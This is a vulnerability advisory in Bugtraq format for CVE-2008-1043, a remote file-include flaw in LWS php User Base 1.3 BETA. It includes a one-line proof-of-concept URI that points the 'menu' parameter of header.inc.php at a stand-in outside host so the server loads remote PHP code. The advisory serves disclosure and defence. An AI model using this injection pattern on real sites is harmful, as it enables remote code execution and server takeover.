LWS php User Base 'header.inc.php' Remote File Include Vulnerability

Bugtraq ID:	27963
Class:	Input Validation Error
CVE:	CVE-2008-1043
Remote:	Yes
Local:	No
Published:	Feb 24 2008 12:00AM
Updated:	May 07 2015 05:32PM
Credit:	CraCkEr is credited with the discovery of this vulnerability.
Vulnerable:	Linux Web Shop php User Base 1.3 BETA
Not Vulnerable:

LWS php User Base 'header.inc.php' Remote File Include Vulnerability

LWS php User Base is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

php User Base 1.3 BETA is vulnerable; other versions may also be affected.

LWS php User Base 'header.inc.php' Remote File Include Vulnerability

Attackers can use a browser to exploit this issue.

The following proof-of-concept URI is available:

http://www.example.com/templates/default/header.inc.php?menu=http://www.example2.com

LWS php User Base 'header.inc.php' Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

LWS php User Base 'header.inc.php' Remote File Include Vulnerability

References:

• php User Base Homepage (Linux Web Shop)
  
• phpuserbase 1.3 (menu) Remote File Inclusion Vulnerability (Ghost hacker )